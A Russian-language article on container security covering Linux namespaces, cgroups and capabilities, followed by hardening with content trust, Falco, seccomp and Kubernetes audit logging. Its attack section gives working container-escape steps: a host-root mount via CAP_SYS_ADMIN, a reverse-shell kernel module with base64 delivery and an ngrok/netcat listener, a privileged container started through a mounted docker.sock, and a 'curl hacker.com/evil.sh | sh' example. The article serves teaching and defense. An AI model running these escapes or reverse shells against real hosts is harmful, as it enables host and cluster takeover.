Безопасность контейнерных сред: как отбить атаки киберпиратов

от автора

Введение в контейнеризацию

В современном мире практически ни одна разработка программного обеспечения не обходится без использования средств контейнеризации. Это связано с тем, что контейнерные среды очень удобны для хранения артефактов и зависимостей. Контейнеризация решает множество таких проблем, как конфликты между зависимостями в различных системах. Ведь создав образ один раз, разработчик или DevOps-инженер может запускать контейнер на основе этого образа везде, где есть контейнерный движок, например, Docker Engine. Разработчики могут быть уверены в том, что их приложения будут работать одинаково независимо от окружения, что упрощает и ускоряет процессы разработки, доставки и развёртывания приложений.

Кроме того, контейнеризация повышает безопасность, изолируя процессы, которые запущены в контейнере, от основной системы. Но не всё так радужно как кажется при первом приближении. В некоторых случаях требуется понизить уровень изоляции и это может сыграть злую шутку.

Собственно, об этом и будет статья, которая является отражением опыта полученного при развитии экспертизы по Container Security совместно с коллегами в рамках компании Neoflex. Надеюсь, что она послужит полезным справочником по защите контейнерных сред для некоторых читателей. Хотя могут найтись и те, кто, возможно, захочет использовать статью как практическое руководство по взлому. Хочу сразу предупредить таких читателей: автор статьи не несёт ответственности за неправомерные и необдуманные действия, совершённые на основе изложенного материала.

Возможно, мы бы сейчас не увидели никакой контейнеризации, если бы в 2002 году, в API ядра Linux версии 2.4.19, не появились бы системные вызовы для создания и контроля namespace’ов: clone(), setns() и unshare(). Предвестником этого стал системный вызов chroot(), который изначально появился ещё в UNIX-системах.

  • clone() — является альтернативой fork() и имеет возможность выделения частей общих ресурсов в отдельные пространства имён;

  • setns() — служит для подключения указанного процесса к заданному пространству имён;

  • unshare() — изменяет контекст текущего процесса;

Также стоит отметить, что контейнеризация это Linux-специфичная технология. Например, Docker не имеет нативной поддержки на macOS, Microsoft Windows и BSD. Docker для этих ОС поставляется в виде виртуальной машины с минимальным дистрибутивом Linux, где уже непосредственно запущен сам Docker Engine.

Для того, чтобы глубже погрязнуть в безопасности контейнерных сред, важно сначала разобраться в механизмах, которые используют различные контейнерные платформы. Двумя основными механизмами являются namespaces и cgroups.

Namespace (пространство имен) — это один из механизмов изоляции в ядре Linux, который создает изолированные области для ресурсов, таких как процессы, файловые системы, сети, идентификаторы пользователей и другие. Благодаря пространству имён процессы в одном контейнере могут работать так, будто они находятся на отдельной машине, не видя и не взаимодействуя с процессами в других контейнерах.

Большинство процессов в самой ОС обычно запущенны в одном пространстве имён. Это нужно для того, чтобы процессы имели связь с друг другом и могли осуществлять взаимодействие. Когда пользователь запускает процесс в контейнере, то по умолчанию создаются новые пространства имён. Но эту идиллию можно разрушить, если снизить уровень изоляции, например, разрешив процессам в одном контейнере видеть процессы в другом, то есть поселить эти процессы в одном пространстве имён PID.

Уже прошло довольно много времени и на данный момент в Linux существует восемь пространств имён, а именно USER, PID, TIME, IPC, UTS, CGROUP, MNT и NET. Посмотреть из оболочки командной строки информацию обо всех доступных в данный момент пространствах имён или о каком-то одном можно с помощью утилиты из пакета util-linux просто напечатав в терминал lsns. Вывод будет примерно такой:

vagrant@ubuntu-jammy:~$ lsns         NS TYPE   NPROCS   PID USER    COMMAND 4026531834 time        3  2086 vagrant /lib/systemd/systemd --user 4026531835 cgroup      3  2086 vagrant /lib/systemd/systemd --user 4026531836 pid         3  2086 vagrant /lib/systemd/systemd --user 4026531837 user        3  2086 vagrant /lib/systemd/systemd --user 4026531838 uts         3  2086 vagrant /lib/systemd/systemd --user 4026531839 ipc         3  2086 vagrant /lib/systemd/systemd --user 4026531840 net         3  2086 vagrant /lib/systemd/systemd --user 4026531841 mnt         3  2086 vagrant /lib/systemd/systemd --user 

Не обязательно использовать именно lsns, так как этой утилиты просто может не быть в системе. По крайней мере пакета util-linux не оказалось в дистрибутиве Alpine Linux. В качестве альтернативы можно использовать readlink, чтобы прочитать значение символьной ссылки, или ls с флагом -l или -g для того, чтобы посмотреть на что ссылаются символьные ссылки. Читать необходимо каталог виртуальный файловой системы procfs примонтированный в /proc вида /proc/$PID/ns/

Пример с readlink:

vagrant@ubuntu-jammy:~$ readlink /proc/$$/ns/pid pid:[ 4026531836 ] 

Пример с ls. Ниже в выводе команды видно все пространства имён, которым принадлежит процесс оболочки командной строки, в которой я нахожусь, в моём случае bash:

vagrant@ubuntu-jammy:~$ ls -l /proc/$$/ns | awk '{print $ 9 , $ 10 , $ 11 }' | tail -n +2 cgroup -> cgroup: [4026531835] ipc -> ipc: [4026531839] mnt -> mnt: [4026531840] net -> net: [4026531992] pid -> pid:[4026531836] pid_for_children -> pid:[4026531836] user -> user: [4026531837] uts -> uts:[4026531838] 

Для более детального понимания того, как контейнеры обеспечивают изоляцию с помощью механизма пространств имён, я составил список из восьми пространств имён и для каждого из них привёл соответствующие им аргументы для системных вызовов unshare() и clone(), а также краткое описание:

  1. USER (CLONE_NEWUSER) — создаёт новое пространство имен для пользователей, позволяя соотносить пользовательские и групповые идентификаторы внутри контейнера с другими идентификаторами на хостовой системе.

  2. PID (CLONE_NEWPID) — изолирует идентификаторы процессов, создавая отдельное пространство имен для процессов контейнера.

  3. TIME (CLONE_NEWTIME) — управляет пространствами имен для времени, что позволяет контейнерам иметь свое собственное представление времени (введено в ядре Linux версии 5.6).

  4. IPC (CLONE_NEWIPC) — Inter-process Communication. Изолирует механизмы межпроцессного взаимодействия, такие как семафоры, очереди сообщений и разделяемую память.

  5. UTS (CLONE_NEWUTS) — Unix Timesharing System. Позволяет создавать пространство имен, где будет новый домен (domainname) и имя хоста (nodename).

  6. CGROUP (CLONE_NEWCGROUP) — изолирует контрольные группы, позволяя контейнерам иметь свои собственные настройки и ограничения по использованию ресурсов.

  7. MNT (CLONE_NEWNS) — создаёт отдельное пространство имён для монтирования файловых систем, изолируя точки монтирования контейнера от хоста.

  8. NET (CLONE_NEWNET) — изолирует сетевые стеки, позволяя контейнерам иметь свои собственные сетевые интерфейсы и настройки.

Я подготовил небольшой трюк, который поможет лучше понять работу контейнеров. На скриншоте ниже я запустил Docker контейнер из образа Alpine Linux от рута с процессом sleep infinity в фоновом режиме, а также задал ему имя «test1». После чего на хостовой системе в выводе команды ps aux я увидел процесс, запущенный в контейнере. Теперь, зная PID процесса в контейнере, я могу попасть внутрь путём подключения пространства имён нужного процесса команды sleep infinity к оболочке командной строки sh.

Вместо всех этих манипуляций можно было просто сделать docker exec -it test1 sh, но разве хакеры ищут лёгких путей?

Если прогнать команду с nsenter через strace, то можно увидеть, что процесс последовательно открывает файловые дескрипторы для пространств имён процесса с PID равным 60003. Затем присоединяется к этим пространствам имён с помощью системного вызова setns(), закрывает дескрипторы и создаёт новый процесс с помощью clone(). Таким образом, процесс переходит в указанные пространства имён другого процесса и затем создаёт новый процесс в этих пространствах имён.

... openat(AT_FDCWD, "/proc/60003/ns/cgroup", O_RDONLY) = 3 openat(AT_FDCWD, "/proc/60003/ns/ipc", O_RDONLY) = 4 openat(AT_FDCWD, "/proc/60003/ns/uts", O_RDONLY) = 5 openat(AT_FDCWD, "/proc/60003/ns/net", O_RDONLY) = 6 openat(AT_FDCWD, "/proc/60003/ns/pid", O_RDONLY) = 7 openat(AT_FDCWD, "/proc/60003/ns/mnt", O_RDONLY) = 8 openat(AT_FDCWD, "/proc/60003/ns/time", O_RDONLY) = 9 setns(3, CLONE_NEWCGROUP)               = 0 close(3)                                = 0 setns(4, CLONE_NEWIPC)                  = 0 close(4)                                = 0 setns(5, CLONE_NEWUTS)                  = 0 close(5)                                = 0 setns(6, CLONE_NEWNET)                  = 0 close(6)                                = 0 setns(7, CLONE_NEWPID)                  = 0 close(7)                                = 0 setns(8, CLONE_NEWNS)                   = 0 close(8)                                = 0 setns(9, CLONE_NEWTIME)                 = 0 close(9)                                = 0 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f58ada96f10) = 203866 

Ещё один наглядный пример. Снижение уровня изоляции путём использования контейнером пространства имён PID хостовой системы. Запустив такой контейнер можно будет просматривать процессы хостовой системы. То же самое можно сделать и с другими пространствами имён. Например, если принудить контейнер использовать UTS-пространство имён хостовой системы, то в выводе команды hostname в контейнере и на хосте будут одинаковые значения.

sudo docker run --rm --name shared_pid --pid=host -d alpine sleep infinity 

Важно отметить, что в основе контейнеризации лежит не только механизм пространств имён. Также контейнеризация основана на механизме под названием cgroups — контрольные группы. Он позволяет проводить ограничение по ресурсам CPU, GPU, MEMORY, I/O, NET и некоторым другим параметрам.

Осуществлять управление контрольными группами можно различными способами:

  • через доступ к виртуальной файловой системе cgroup напрямую

  • утилитами cgcreate, cgexec, cgclassify из пакета cgroup-tools

  • косвенно через другие программные средства, использующие контрольные группы, например, через системы контейнеризации LXC, Docker, библиотеку libvirt

Краткая демонстрация ограничения ресурсов контейнера по памяти до 512 Мб и по CPU до 2 единиц при docker run:

sudo docker run --memory=512m --cpus=2 --rm --name limited_container -d alpine sleep infinity 

Посмотреть использование ресурсов запущенных контейнеров в реальном времени
можно с помощью команды docker stats . Более подробно об опциях рантайма можно прочитать на официальном сайте.

Обычно, когда говорят о контейнеризации, часто упоминают Docker. Однако это не совсем правильно, так как использование Docker не является единственным решением для контейнеризации. Как уже стало ясно из приведённой выше информации, любой пользователь может применить другое ПО для реализации контейнеризации или даже написать собственное решение. Примером может служить скрипт Bocker, написанный на bash и состоящий всего из 100 строк.

Более подробную информацию о механизмах контейнеризации можно получить, набрав в терминале man namespaces и man cgroups. Также можно посетить две страницы ресурса man7.org в веб-браузере: namespaces и cgroups.

Что дальше? После освоения теоретической части можно смело приступать к анализу техник атакующего.

Анализ техник злоумышленника

Когда злоумышленник находит уязвимость в приложении и c помощью инъекции или некоторой другой недоброжелательной манипуляции получает первоначальный доступ, то он начинает разведку в системе — reconnaissance. Я не буду глубоко затрагивать тему получения первоначального доступа и последующего закрепления, потому что это тянет на отдельный цикл статей. Но злоумышленники могут идти на крайние меры и даже прибегнуть к физическим атакам. Для более детальной информации смотрите Initial Access на MITRE ATT&CK®.

Авада Кедавра! Злоумышленник попал в оболочку командной строки и начинает проверять в какой среде он находится. Вместо того, чтобы заносить bash скрипты с помощью какой-то утилиты типа wget/curl и передавать их через конвейер в оболочку командной строки (bash/ sh), тем самым пробуждая средства обнаружения вторжений, можно воспользоваться более элегантным методом и проверить второй процесс в системе:

ps -p 2 

Если поступил ответ в виде вывода:

+ ps -p 2        PID TTY               TIME CMD           2  ?             00:00:00 kthreadd 

Это значит, что вы находитесь в оболочке командной строки, которая запущена на хостовой системе, а не контейнере, потому что kthreadd— это процесс, который выполняется в контексте ядра ОС. Контейнеры разделяют ядро вместе с ОС и не имеют своего ядра и тем более не создают своих потоков ядра. А значит в контейнере не будет процесса kthreadd. Если вывод оказался другим и второй процесс в системе это не kthreadd, то скорее всего вы в контейнере.

Если злоумышленник поймёт, что он находится в ограниченной среде, то вряд ли его устроит такое положение дел. Он попробует всеми методами сбежать из контейнера на хостовую систему. Делать это он будет потому что в большинстве случаев прямой непосредственный доступ к ноде kubernetes === доступ ко всему кластеру или некоторым ресурсам в нём.

После того как претендент понял в какой среде он находится, то первым делом перед ним встанет задача проведения дальнейшей эксплуатации, если такая, конечно, возможна. Найти зацепки для дальнейшей эксплуатации системы можно с помощью скриптов для энумерации, таких как linPEAS, LinEnum или даже Linux Smart Enumeration. Эти скрипты будут проверять права, мисконфигурации, версии ПО. Делать они будут это с помощью заранее составленного сценария, который осуществит все нужные проверки и отдаст вывод негодяю на рецензию. Ограничиваться именно этими скриптами не стоит, можно и самостоятельно составить такой скрипт. Поле для творчества ограничивается лишь фантазией исследователя компьютерной безопасности.

Скрипты приведённые выше отлично помогут в разведке, но они не заточены под контейнерные среды. На помощь приходят специализированные инструменты, такие как CDK, amicontained, deepce, grype. Эти фреймворки наступательной безопасности используют как техники, описанные ниже, так и методы, связанные с использованием эксплоитов в контейнерных средах.

Существует несколько распространённых техник для побега из контейнера. Я рассмотрю две основные, которые помогут лучше понять эксплуатацию уязвимостей в контейнерных средах:

  1. Побег с использованием определённой Capability;

  2. Побег с помощью примонтированного в контейнер docker.sock.

Побег с использованием определённой Capability

Как стало понятно из первого пункта статьи, контейнеры представляют собой изолированную среду для выполнения какого-либо процесса. Но я не упомянул ещё один механизм Linux под названием Capabilities, благодаря которому контейнеры работают с ограниченными привилегиями.

Этот механизм возможностей был разработан как решение проблемы недостаточной гибкости традиционной для UNIX структуры привилегий. Вместо того, чтобы использовать сразу все привилегии администратора (пользователя с идентификатором 0), выполняя проверки безопасности на уровне ядра, существует разделение их на отдельные категории, которые называются возможностями. Каждая привилегированная операция связывается с определённой возможностью и доступна для выполнения только в том случае, если эта возможность присутствует у текущего процесса.

Программе, которая рассчитывает получить нулевой пользовательский идентификатор, выдаётся полный набор возможностей, даже если она о них не подозревает.

Однако наличие некоторых возможностей в контейнере может предоставлять сильную угрозу безопасности по отношению к хостовой системе. Таким образом, такая возможность как CAP_SYS_ADMIN является «перегруженной» (overloaded). Она имеет настолько широкие права, что их можно сравнить с правами суперпользователя. Более подробную информацию относительно CAP_SYS_ADMIN и других возможностей можно прочитать по ссылке.

Чтобы посмотреть доступные возможности необходимо прочитать файл вида
/proc/$PID/status , где $PID это нужный процесс. Сделать это можно командой cat /proc/$PID/status | grep Cap. В качестве вывода последуют шестнадцатеричные
значения для пяти наборов возможностей:

CapInh: 0000000000000000 CapPrm: 0000003fffffffff CapEff: 0000003fffffffff CapBnd: 0000003fffffffff CapAmb: 0000000000000000 

Но не стоит пугаться: эту информацию можно получить в удобном виде. Для этого
придётся доставить пакет libcap. В Debian-based дистрибутивах этот пакет имеет
название libcap2-bin.

Чтобы получить информацию о возможностях в читаемом виде, можно выполнить
команду capsh --print на целевой системе. Если нет возможности установить пакет
libcap на целевой системе, можно установить этот пакет на свою систему и выполнить
команду вида capsh --decode=00000000a80525fb , где 00000000a80525fb — это значение возможности в шестнадцатеричном виде, полученное с целевой системы путём чтения файла процесса status в виртуальной файловой системе proc.

Ниже на скрине видно различия между наборами возможностей в хостовой системе и
непривилегированном контейнере:

В непривилегированном контейнере недоступны возможности CAP_SYS_MODULE, CAP_SYS_ADMIN, CAP_SYS_NICE , CAP_SYS_TIME и другие. Перед ними стоит
восклицательный знак.

Если контейнер обладает возможностями CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_SYS_MODULE, DAC_READ_SEARCH, DAC_OVERRIDE, CAP_SYS_RAWIO, CAP_SYSLOG, CAP_NET_RAW, CAP_NET_ADMIN, то из него можно попытаться совершить побег на хост. Вместо разбора техник побега с использованием всех приведённых выше возможностей, я сосредоточусь на двух ключевых примерах: CAP_SYS_ADMIN и CAP_SYS_MODULE.

Первый пример с CAP_SYS_ADMIN:

Моделирование ситуации:

sudo docker run --rm --name cap_sys_admin --cap-add CAP_SYS_ADMIN -d alpine sleep infinity 

Данная возможность довольно сильно перегружена и есть несколько вариантов
эксплуатации. Но один из самых простых вариантов — это монтирование корня файловой системы хоста в какую-нибудь директорию контейнера.

Таким методом я и воспользовался. Я думаю тут нечего разбирать, так как это довольно простой метод эксплуатации.

Второй более интересный пример с CAP_SYS_MODULE:

Моделирование ситуации:

sudo docker run --rm --name cap_sys_module --cap-add CAP_SYS_MODULE -d alpine sleep infinity 

Этот пример не такой простой в реализации как предыдущий, так как он требует
некоторой подготовки со стороны злоумышленника.

Побег из контейнера будет проводиться с помощью возможности CAP_SYS_MODULE, которая позволяет загружать и выгружать модули ядра ( init_module(), delete_module(), create_module()). С помощью этого функционала я смогу загрузить вредоносный модуль в ядро и тем самым захвачу хост.

Для успешной эксплуатации необходимо подготовить инструментарий для сборки
модулей ядра на атакующей машине. В моём случае, на Ubuntu, мне нужно установить пакет build-essential и заголовки ядра:

sudo apt install build-essential linux-headers-$(uname -r) 

Шаг со сборкой модуля на машине атакующего нужен, чтобы не заносить громоздкий
инструментарий для сборки в целевой контейнер. Тем более, это не обязательно делать.

В качестве следующего этапа надо достать где-то готовый (или написать свой) код
зловредного модуля ядра Linux, который после загрузки выполнит обратный вызов
(reverse shell) на прослушиваемый порт удалённой машины атакующего. В качестве
примера можно использовать мой код.

Останется только склонировать репозиторий, подредактировать 13 строчку файла
reverse-shell.c. В ней будет необходимо поменять IP и порт на свои данные. После этого нужно собрать модуль и доставить его на целевую систему.

git clone https://git.vadimbelous.com/vadim_belous/lkm_reverse_shell.git cd lkm_reverse_shell $EDITOR reverse-shell.c make 

Если сборка прошла успешно, то все шаги были выполнены правильно. На выходе в
директории проекта среди прочих файлов будет файл с расширением .ko — это и есть нужный модуль ядра.

Теперь для того, чтобы доставить этот модуль на целевую машину, необходимо
закодировать его на машине атакующего в любой кодировке, например, base64. Затем скопировать, вставить и раскодировать его на целевой системе. Например: base64 reverse-shell.ko и cat encoded_lkm | base64 -d > reverse-shell.ko. Это один из наиболее скрытных методов, который позволяет обойти системы реагирования на
вторжения. По крайней мере это менее заметней, чем выполнять команду вида curl https://hacker.com/evil.sh | sh.

На моём ноутбуке недоступен публичный статический IP адрес, поэтому я
воспользовался ngrok.

Ngrok выдал мне домен и порт, где доступен порт, который я слушаю с помощью netcat — nc -lvnp 9999:

tcp://0.tcp.eu.ngrok.io:12110 -> localhost:9999 

Если команда file reverse-shell.ko показывает, что reverse-shell.ko это ELF, то вредоносный модуль ядра успешно был доставлен и его можно подгрузить командой:

insmod reverse-shell.ko 

Буквально сразу после загрузки модуля ядра на прослушиваемом порту стала доступна оболочка командной строки bash хоста от суперпользователя.

Также можно скрыть системную активность модуля от таких системных утилит, как ps, netstat и сделать так, чтобы его нельзя было обнаружить с помощью команды lsmod и инструментов для поиска руткитов, таких как lynis, rkhunter и chkrootkit.

Итак, рассмотрев два примера побега из контейнера с использованием определённых возможностей, можно сделать заключение, что критически важно внимательно управлять предоставляемыми контейнерам правами. Особое внимание следует уделить тому, чтобы не запускать привилегированные контейнеры, поскольку они предоставляют чрезмерно широкие возможности и создают серьёзные риски для безопасности.

Побег с помощью примонтированного в контейнер docker.sock

Некоторые разработчики и другой технологический персонал может монтировать для
своих нужд файл сокета рантайма, например, docker.sock в контейнер. К слову, такой подход использует концепция Docker-in-Docker. Но этого категорически не стоит делать просто так! Если злоумышленник попадёт в контейнер, то он получит доступ к Docker хосту и сможет посылать команды демону Docker, который обычно работает с правами суперпользователя.

Чтобы приступить к этой технике побега из контейнера и окончательно убедиться, что не стоит так делать, нужно смоделировать ситуацию:

sudo docker run --rm --name mounted_socket -v /var/run/docker.sock:/var/run/docker.sock -d alpine sleep infinity 

Теперь представим, что я злоумышленник и каким-то чудом оказался в контейнере. Что делать дальше? Искать смонтированный сокет. Так как изначально злодей не знает куда был смонтирован сокет, то он попытается его найти. Сделать это можно с помощью легитимной команды find. Например, так:

find / -name "*.sock" 2>/dev/null 

Также обратите внимание на местоположения сокетов других рантаймов:

  • dockershim — unix:///var/run/dockershim.sock

  • containerd — unix:///run/containerd/containerd.sock

  • cri-o — unix:///var/run/crio/crio.sock

  • frakti — unix:///var/run/frakti.sock

  • rktlet — unix:///var/run/rktlet.sock

И так, docker.sock или другой сокет рантайма найден. Отлично.

На данном этапе необходимо доставить пакет Docker в контейнер. Я сделал это с
помощью пакетного менеджера apk. Теперь я смогу сбежать из изолированной не лучшим способом среды с помощью передачи нужных команд Docker демону.

Имея доступ к сокету, я могу запустить привилегированный контейнер со всеми нужными возможностями на Docker хосте:

docker run --rm --name privileged -v /:/host_root --privileged -d alpine sleep infinity 

В случае, если сокет находится не в стандартном месте, то путь к нему можно указать
через -H unix:///path/to/the/socket

docker run -H unix:///var/run/docker.sock --rm --name privileged -v /:/host_root --privileged -d alpine sleep infinity 

Я запустил привилегированный контейнер и, провалившись в него, получил доступ к
файловой системе хоста по пути /host_root как суперпользователь: смог читать и писать файлы, а после — сделал chroot и оказался в среде хоста.

В этой ситуации я также мог бы осуществить побег, используя возможности, например, CAP_SYS_ADMIN или CAP_SYS_MODULE, которые предоставляются запущенным привилегированным контейнером на хосте, аналогично методу, описанному в первом примере эксплуатации контейнерных сред.

Небольшой вывод

Когда злоумышленник попадёт внутрь контейнера, то он проверит доступные ему
возможности, изучит переменные среды на наличие секретов и проверит, не
примонтирован ли сокет рантайма внутри контейнера. Возможно у него даже получится сбежать на ноду и он продолжит эксплуатацию.

Из этого следует, что необходимо:

  • Вставлять палки в колёса злоумышленнику с помощью средств безопасности.

  • Не запускать привилегированные контейнеры.

  • Следить за возможностями, которые есть у контейнеров.

  • Создавать пользователя в контейнере, потому что root в контейнере == root на хосте. Также это создаст трудности в установке злоумышленником дополнительных пакетов из репозитория пакетного менеджера

Построение эффективной защиты

Для построения ультимативной защиты в Neoflex выработаны шесть основных практик, которые мы используем как основу для построения процессов кибербезопасности:

  1. Актуализация ПО
    Актуализация ПО. Не забывайте обновлять хост и программное обеспечение на нём, применять самые последние патчи безопасности. Это в частности поможет защититься от уязвимостей, которые могут быть использованы для побега из контейнера. Примером могут послужить четыре уязвимости, которые получили общее название Leaky Vessels, они затрагивают инструменты runc и Buildkit.

  2. Защита от вредоносных образов
    Защита от вредоносных образов. Закачка вредоносных образов может очень болезненно сказаться на той среде, куда будет закачан этот образ. Dockerhub это популярное публичное хранилище образов. Никто не исключает вероятности того, что некоторые будут загружать вредоносные образы под видом легитимных. Противодействовать этому можно установив переменную среды DOCKER_CONTENT_TRUST=1 . После такой манипуляции можно будет закачивать только подтверждённые dockerhub’ом официальные образы. Команда с закачкой подтверждённого Dockerhub’ом образа Alpine Linux сработает:

sudo env DOCKER_CONTENT_TRUST=1 docker pull alpine 

А вот команда с закачкой подозрительного образа не пройдёт:

sudo env DOCKER_CONTENT_TRUST=1 docker pull mdashboard/malware 

P.S. Использование своего приватного хранилища образов исключит подобные проблемы.

  1. Создание наблюдательной безопасности кластера Kubernetes

В качестве инструментов можно использовать как обычные средства мониторинга, так и специализированные, со встроенными сенсорами и правилами реагирования на
инциденты кибербезопасности. В качестве таких решений можно рассмотреть Falco и NeuVector.

NeuVector довольно интуитивный и комплексный инструмент от SUSE. Думаю, что нет
особого смысла на нём останавливаться, поэтому предлагаю рассмотреть созданную
мной инструкцию по установке Falco и Falcosidekick-UI в кластер Kubernetes.

Добавление репозитория falcosecurity в пакетный менеджер helm:

sudo helm repo add falcosecurity https://falcosecurity.github.io/charts 

Создание пространства имён falco:

sudo kubectl create ns falco 

Создание ресурсов в пространстве имён Falco с нужными параметрами:

helm install falco -n falco --create-namespace \ --set driver.kind=modern-bpf --set tty=true falcosecurity/falco \ --set falco.json_output=true \ --set falcosidekick.enabled=true \ --set falcosidekick.config.elasticsearch.hostport="https://elasticsearch:9200" \ --set falcosidekick.config.elasticsearch.mutualtls=false \ --set falcosidekick.config.elasticsearch.checkcert=false \ --set falcosidekick.config.elasticsearch.username="admin" \ --set falcosidekick.config.elasticsearch.password="testpassword123!" \ --set falcosidekick.webui.enabled=true \ --set tty=true 

https://elasticsearch:9200 в моём случае — это доменное имя, которое ссылается на
приватный IP адрес Opensearch REST API
admin:testpassword123! — пара логин пароль от Opensearch’a
(логи не обязательно можно просматривать только в Falcosidekick-UI)

Все нужные ресурсы успешно создались буквально в течении нескольких минут:

Далее я выставил наружу falcosidekick-ui через сервис типа NodePort

sudo kubectl expose service falco-falcosidekick-ui -n falco --type=NodePort --target-port=2802 --name=falco-falcosidekick-node-port-service 

В итоге я получил доступ к falcosidekick UI по https://172.19.11.143:32203/. В качестве данных для аутентификации я использовал admin:admin

После логина можно смотреть события, которые журналирует Falco:

Для того, чтобы сгенерировать «аномальную» активность в кластере kubernetes для Falco я выполнил команду uptime в контейнере с alpine:

sudo kubectl exec -it alpine -- sh -c "uptime" 

В итоге в логах появилось событие, которое соответствует установленному правилу Falco «Terminal shell in container». Более детальную информацию можно увидеть на скрине:

Также такие события можно отслеживать из терминала, просто в falcosidekick’е это делать удобнее.

sudo kubectl logs -l app.kubernetes.io/name=falco -n falco -c falco | grep Notice 
  1. Регулярный внутренний пентест Регулярное тестирование контейнерных сред с помощью утилит наступательной безопасности. В качестве таких утилит для проверки на мисконфигурации можно использовать утилиты CIS-Benchmark: kube-bench, kube-hunter и kubescape.

Главное отличие Kubescape от CIS-Benchmark инструментов kube-bench и kube-hunter
состоит в том, что утилиты CIS-Benchmark работают только относительно гайдлайнов
CIS, а Kubescape является более комплексным инструментом, который может
сканировать кластер Kubernetes относительно нескольких политик безопасности.

  1. SecComp

SecComp — один из механизмов безопасности ядра Linux, который обеспечивает
возможность ограничивать набор доступных системных вызовов для приложений.

Даже использование обычного профиля SecComp для контейнерной среды не позволит просто так злоумышленнику сбежать из привилегированного контейнера.

В качестве более продвинутой техники я предлагаю составлять профили SecComp на
основе системных вызовов, которые использует запущенная в контейнере программа. Это сделает событие побега из контейнера почти невозможным.

Для того, чтобы упросить процесс составления такого профиля, можно также
использовать утилиту syscall2seccomp. Она поддерживает как sysdig так и strace.

Пример того, как указать docker’у, чтобы он использовал нужный SecComp профиль:

sudo docker run --rm --security-opt seccomp=nginx.json --name nginx_seccomp -p 8989:80 -d nginx 

Чтобы включить дефолтный профиль в кластере, а не указывать его для каждого
контейнера по отдельности, необходимо на всех нодах кластера Kubernetes выполнить следующую настройку.

У меня три ноды. Одна — мастер, две — воркер ноды, поэтому я буду выполнять эту
настройку на каждой из трёх нод:

Создание нужных директорий для того, чтобы положить туда SecComp профили:

sudo mkdir -pv /var/lib/kubelet/seccomp/profiles/ 

Скачивание трёх политик в директорию /var/lib/kubelet/seccomp/profiles:

cd /var/lib/kubelet/seccomp/  sudo curl -L -o profiles/audit.json https://k8s.io/examples/pods/security/seccomp/profiles/audit.json sudo curl -L -o profiles/violation.json https://k8s.io/examples/pods/security/seccomp/profiles/violation.json sudo curl -L -o profiles/fine-grained.json https://k8s.io/examples/pods/security/seccomp/profiles/fine-grained.json 

После этого необходимо изменить параметры запуска kubelet. В
/etc/kubernetes/kubelet.env в KUBELET_ARGS нужно добавить аргумент --seccompdefault. Конечный kubelet.env должен выглядеть примерно так:

KUBE_LOG_LEVEL="--v=2" KUBELET_ADDRESS="--node-ip=172.19.11.143" KUBELET_HOSTNAME="--hostname-override=node1" KUBELET_ARGS="--bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf \ --config=/etc/kubernetes/kubelet-config.yaml \ --kubeconfig=/etc/kubernetes/kubelet.conf \ --container-runtime-endpoint=unix:///var/run/containerd/containerd.sock \ --runtime-cgroups=/system.slice/containerd.service \ --seccomp-default \ " KUBELET_CLOUDPROVIDER=""  PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/b in 

После чего нужно перезапустить systemd сервис, чтобы kubelet запустился с новым параметром:

sudo systemctl restart kubelet.service 

Проверка работоспособности:

ps aux | grep kubelet 

Теперь kubelet запущен с флагом, который включает SecComp.

После этого для ещё одного теста я поднял под для проведения аудита:

sudo kubectl apply -f https://k8s.io/examples/pods/security/seccomp/ga/auditpod.yaml 

Сделал доступным извне 5678 порт и запросил страницу в веб-браузере по адресу http://172.19.11.143:31488/:

sudo kubectl expose pod audit-pod --type NodePort --port 5678 

Теперь в событиях syslog видно события «http-echo»:

sudo tail -f /var/log/syslog 

Дефолтный профиль SecComp для кластера Kubernetes был успешно настроен.

  1. Включение Kubernetes Audit Log

Логов никогда не бывает мало. Журнал событий послужит отличным артефактом при
анализе инцидента компьютерной безопасности. Тем более это не так сложно — всего
лишь необходимо выполнить следующие шаги:

Для начала необходимо создать директории:

sudo mkdir /var/log/kubernetes sudo mkdir /etc/kubernetes/audit 

Теперь нужно создать политику для аудита. Я воспользовался двумя готовыми с
официального сайта kubernetes.io

Первая политика оснащена различными правилами для логирования:

apiVersion: audit.k8s.io/v1 # This is required. kind: Policy # Don't generate audit events for all requests in RequestReceived stage. omitStages:   - "RequestReceived" rules:   # Log pod changes at RequestResponse level   - level: RequestResponse     resources:     - group: ""       # Resource "pods" doesn't match requests to any subresource of pods,       # which is consistent with the RBAC policy.       resources: ["pods"]   # Log "pods/log", "pods/status" at Metadata level   - level: Metadata     resources:     - group: ""       resources: ["pods/log", "pods/status"]    # Don't log requests to a configmap called "controller-leader"   - level: None     resources:     - group: ""       resources: ["configmaps"]       resourceNames: ["controller-leader"]    # Don't log watch requests by the "system:kube-proxy" on endpoints or services   - level: None     users: ["system:kube-proxy"]     verbs: ["watch"]     resources:     - group: "" # core API group       resources: ["endpoints", "services"]    # Don't log authenticated requests to certain non-resource URL paths.   - level: None     userGroups: ["system:authenticated"]     nonResourceURLs:     - "/api*" # Wildcard matching.     - "/version"    # Log the request body of configmap changes in kube-system.   - level: Request     resources:     - group: "" # core API group       resources: ["configmaps"]     # This rule only applies to resources in the "kube-system" namespace.     # The empty string "" can be used to select non-namespaced resources.     namespaces: ["kube-system"]    # Log configmap and secret changes in all other namespaces at the Metadata level.   - level: Metadata     resources:     - group: "" # core API group       resources: ["secrets", "configmaps"]    # Log all other resources in core and extensions at the Request level.   - level: Request     resources:     - group: "" # core API group     - group: "extensions" # Version of group should NOT be included.    # A catch-all rule to log all other requests at the Metadata level.   - level: Metadata     # Long-running requests like watches that fall under this rule will not     # generate an audit event in RequestReceived.     omitStages:       - "RequestReceived" 

Вторая политика более простая и будет логировать все запросы на уровне Metadata:

apiVersion: audit.k8s.io/v1 kind: Policy rules: - level: Metadata 

У Kubernetes Audit Log есть два механизма логирования. Первый пишет в локальное
хранилище, второй использует webhook и отправляет события аудита на API, которое
является частью Kubernetes API. Я настроил первый вариант логирования.

Для настройки Kubernetes Audit Log предварительно лучше всего сделать резервную
копию перед редактированием /etc/kubernetes/manifests/kube-apiserver.yaml

sudo cp /etc/kubernetes/manifests/kube-apiserver.yaml ~/ 

Теперь можно редактировать /etc/kubernetes/manifests/kube-apiserver.yaml.
Необходимо добавить приведённые ниже аргументы для kube-apiserver

